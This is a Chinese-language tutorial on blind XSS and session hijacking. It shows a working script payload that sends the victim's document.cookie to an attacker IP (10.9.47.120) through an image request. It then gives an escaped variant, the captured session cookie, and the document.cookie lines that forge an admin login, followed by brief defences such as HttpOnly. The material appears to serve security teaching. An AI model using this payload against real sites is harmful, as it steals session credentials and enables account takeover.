XSS 攻防案例
固定会话
原理
用户会话令牌利用Cookie 来实现的,Cookie 是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险。
可以利用XSS 攻击窃取到浏览器里的Cookie 信息。
由于XXS 触发需要浏览器客户端用户(受害者)参与,攻击者不清楚何时何地会触发漏洞,这个过程一般被成为XSS 盲打。
窃读 Cookie
username=admin;userid=1;PHPSESSID=b09m2i6ppthmqqg26no26co6m3
欺骗
document.cookie = 'username=admin';
document.cookie = 'userid=1';
document.cookie = 'PHPSESSID=b09m2i6ppthmqqg26no26co6m3';
影响
- 黑客可以利用Cookie 信息,也就是身份凭据,登录后台;
- 即使管理员注销登录,会话依然有效;
- 即使管理员修改了密码,会话依然有效。
防御
- 根据实际情况采用“单点登录”;
- 采用Session 机制;
- 设置token 值;
- 对Cookie 数据,设置HttpOnly 属性;
固定会话攻击实例/XSS盲打
攻击代码
原始代码
<script>document.write('<img src="http://10.9.47.120/'+document.cookie+'">');</script>
引号和分号需要进行转义
<script>document.write(\'<img src=\"http://10.9.47.120/\'+document.cookie+\'\">\')\;</script>
攻击原理
-
当受害者浏览器加载包含这段代码的页面时,JavaScript 代码会执行。
-
JavaScript 会动态地创建一个
<img>
标签,并将其添加到页面中。 -
<img>
标签的src
属性指向了http://10.9.47.120/
,后面紧跟着用户的 cookie 信息document.cookie
。 -
浏览器会尝试加载这个图像,实际上是向
http://10.9.47.120/
发送了一个 GET 请求,其中包含了用户的 cookie 信息。 -
http://10.9.47.120/
服务器,会记录或利用这些 cookie 信息
攻击实施
攻击者上传 XSS 代码,并开启 http server 服务监听
受害者访问包含 XSS 代码的页面
攻击者监听到包含受害者 Cookie 的请求
username=admin;%20userid=1;%20PHPSESSID=o81a755q490343a4cf6bgbjb91
伪造登录
document.cookie = 'username=admin';
document.cookie = 'userid=1';
document.cookie = 'HPSESSID=o81a755q490343a4cf6bgbjb91';
cookie 中有了伪造的信息,此时访问后台,无需验证即可登录